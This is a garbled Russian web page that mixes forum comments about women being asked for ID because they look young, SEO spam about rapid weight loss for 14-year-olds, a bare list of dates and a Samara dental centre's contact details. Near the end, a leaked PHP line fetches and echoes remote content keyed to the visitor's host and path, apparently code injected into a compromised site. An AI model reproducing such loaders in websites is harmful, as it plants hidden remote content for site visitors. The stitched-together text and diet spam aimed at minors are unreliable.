Радуйтесь!! мне 30, тоже иногда сигареты не продают без паспорта, хотя у меня "с собой" 2 ребенка, одному 11, другому 7))) говорят, мож, братья. и то что дети орут "мама" никого не смущает))) вроде одеваюсь по возрасту, никаких косичек-бантиков. тинейджерских штучек не таскаю с собой. молодо выглядеть это хорошо. я думаю иногда, что наверняка продавцы в сигаретных киосках просто мне льстят. но приятно))) так что гордитесь, это не повод для расстройства.

Диета для 14 летней девушки или стол9-диета при сахарном диабете.Категория как похудеть за 2 недели с помощью физических упражнений. диета кипяченным молоком. сладкая диета - чай.

Лстишь себе старушка))) мне вот 35,а дают 43,как жить дальше??? -не знаю!

Было бы на что обижаться, чес слово....

Хочется- оденьтесь по -другому, сейчас женщины так выглядят что день можно 14-летней походить, день 35-летней. А вообще вопрос с Вашей стороны не вопрос конечно был)... а "зырь как я могу".Вообще лучше на свой возраст выглядеть, излишнее моложение смешно выглядит обычно, а в старшение я не сильно верю.
А вообще к таким вопросам надо фото прикладывать, может так только Вам кажется и отдельным личностям

Мне вот тоже 15 давали))) когда мне на самом деле 21... думаю надо с бэйджиком ходить, где будут данные о твоем возрасте = )

Мне бы ваши проблемы! Будет вам еще 30-ть.
Наслаждайтесь молодостью и считайте, что вам комплимент сделали .

Как похудеть 14 летнему мальчику или поместитесь в гробики без диет и аэробики -Смотреть книга диеты лучано паваротти -Смотреть кремлевская диетаполная таблица -Смотреть упражнения чтобы быстро похудеть -Смотреть...

Сыну 25,5- 8 марта документы попросили, пиво покупал нам.

Успеешь еще кучу раз за жизнь выглядеть взрослой

Мне 35 будет через месяц, до сих пор не могу алкоголь купить, чтобы паспорт не спрашивали. Цените свой возраст и молодость, а состариться всегда успеете.

Радуйся, такого больше не будет

Глупость какая... не старься раньше времени, старость сама придет

Как похудеть 14-летней девушке
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта